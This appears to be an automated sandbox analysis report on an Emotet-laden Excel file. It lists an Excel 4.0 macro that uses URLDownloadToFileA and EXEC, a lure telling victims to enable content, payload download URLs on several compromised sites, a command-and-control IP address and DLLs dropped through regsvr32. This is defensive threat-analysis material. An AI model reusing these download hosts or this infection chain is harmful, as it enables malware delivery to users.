Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229

Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.com
Source: regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1214603254.00000000002DC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214961522.0000000002F30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000004.00000002.1215037206.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: regsvr32.exe, 00000004.00000002.1214540474.00000000001B6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000003.982406822.00000000001B6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1214943088.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1214675657.000000000030B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214558959.0000000000256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: 77EC63BDA74BD0D0E0426DC8F80085060.4.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 00000004.00000002.1214540474.00000000001B6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000003.982406822.00000000001B6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1214540936.0000000000124000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214558959.0000000000256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme
Source: regsvr32.exe, 00000008.00000002.1214603254.00000000002DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme.
Source: regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoc
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1214603254.00000000002DC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1214603254.00000000002DC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214961522.0000000002F30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214961522.0000000002F30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 00000004.00000002.1214570294.00000000001DE000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000003.982445860.00000000001DE000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1214569548.000000000015A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1214649654.0000000000305000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214621472.0000000000295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229/
Source: regsvr32.exe, 0000000A.00000002.1214621472.0000000000295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229/E&
Source: regsvr32.exe, 00000006.00000002.1214569548.000000000015A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229/d
Source: regsvr32.exe, 00000004.00000002.1214570294.00000000001DE000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000003.982445860.00000000001DE000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1214943088.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214621472.0000000000295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229:8080/
Source: regsvr32.exe, 00000008.00000002.1214675657.000000000030B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229:8080/0
Source: regsvr32.exe, 00000008.00000002.1214675657.000000000030B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://165.22.73.229:8080/4
Source: regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.co
Source: regsvr32.exe, 00000004.00000002.1214980214.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1215008550.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1214603254.00000000002DC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1215002537.0000000002F08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1215024269.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1214998850.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll

Jump to behavior

Source: unknown

DNS traffic detected: queries for: learnviaonline.com

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180017C8C InternetReadFile,

4_2_0000000180017C8C

Source: global traffic	HTTP traffic detected: GET /wp-admin/qGb/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: learnviaonline.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/REvup/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kolejleri.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /classes/05SkiiW9y4DDGvb6/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: stainedglassexpress.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/D4TRnDubF/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: milanstaffing.comConnection: Keep-Alive

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 6.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.4f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.450000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1fe0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.2e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.917379514.0000000001FE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.947582927.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1214454935.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.932534809.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1215133055.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1215258266.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.932327058.00000000002E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.925354980.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1214677851.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.946842260.0000000000450000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1215228939.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1214643345.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1215293806.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1214621068.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.925541937.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable Editing and click Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Source: Screenshot number: 4	Screenshot OCR: Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

Found malicious Excel 4.0 Macro

Source: Datei_26744565.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA
Source: Datei_26744565.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA

Office process drops PE file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Found Excel 4.0 Macro with suspicious formulas

Source: Datei_26744565.xls	Initial sample: EXEC
Source: Datei_26744565.xls	Initial sample: EXEC

Source: C:\Windows\System32\regsvr32.exe

File created: C:\Windows\system32\RrQZitdNyvCFEhe\

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D212B0	3_2_000007FEF9D212B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25E01	3_2_000007FEF9D25E01
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25CAD	3_2_000007FEF9D25CAD
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D26850	3_2_000007FEF9D26850
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2443C	3_2_000007FEF9D2443C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D253FB	3_2_000007FEF9D253FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D24A70	3_2_000007FEF9D24A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_002C0000	3_2_002C0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026410	3_2_0000000180026410
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025C30	3_2_0000000180025C30
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001D58	3_2_0000000180001D58
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800165E4	3_2_00000001800165E4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180011E5C	3_2_0000000180011E5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002C6C8	3_2_000000018002C6C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002C2C8	3_2_000000018002C2C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026F14	3_2_0000000180026F14
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016320	3_2_0000000180016320
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001378	3_2_0000000180001378
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018FE8	3_2_0000000180018FE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001ABE8	3_2_000000018001ABE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800243F4	3_2_00000001800243F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800083F8	3_2_00000001800083F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800247FC	3_2_00000001800247FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001DBFC	3_2_000000018001DBFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001100C	3_2_000000018001100C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180027C28	3_2_0000000180027C28
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002143C	3_2_000000018002143C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001303C	3_2_000000018001303C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002A840	3_2_000000018002A840
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180003840	3_2_0000000180003840
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B444	3_2_000000018000B444
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F048	3_2_000000018000F048
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002AC4C	3_2_000000018002AC4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180010050	3_2_0000000180010050
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180003050	3_2_0000000180003050
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000445C	3_2_000000018000445C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000C85C	3_2_000000018000C85C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180003460	3_2_0000000180003460
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180029C6C	3_2_0000000180029C6C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001586C	3_2_000000018001586C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000406C	3_2_000000018000406C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E06C	3_2_000000018000E06C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000BC70	3_2_000000018000BC70
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001447C	3_2_000000018001447C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026C80	3_2_0000000180026C80
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180010C84	3_2_0000000180010C84
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016088	3_2_0000000180016088
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002888	3_2_0000000180002888
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017C8C	3_2_0000000180017C8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000FC8C	3_2_000000018000FC8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002D098	3_2_000000018002D098
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800154B8	3_2_00000001800154B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180011CCC	3_2_0000000180011CCC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800064D0	3_2_00000001800064D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800180D4	3_2_00000001800180D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800054D8	3_2_00000001800054D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002CCE0	3_2_000000018002CCE0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800254E4	3_2_00000001800254E4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800184E8	3_2_00000001800184E8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800010E8	3_2_00000001800010E8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E8F0	3_2_000000018000E8F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002A0F8	3_2_000000018002A0F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019900	3_2_0000000180019900
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180011904	3_2_0000000180011904
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F908	3_2_000000018001F908
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002490C	3_2_000000018002490C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001890C	3_2_000000018001890C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001D510	3_2_000000018001D510
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180003D18	3_2_0000000180003D18
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002191C	3_2_000000018002191C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001D128	3_2_000000018001D128
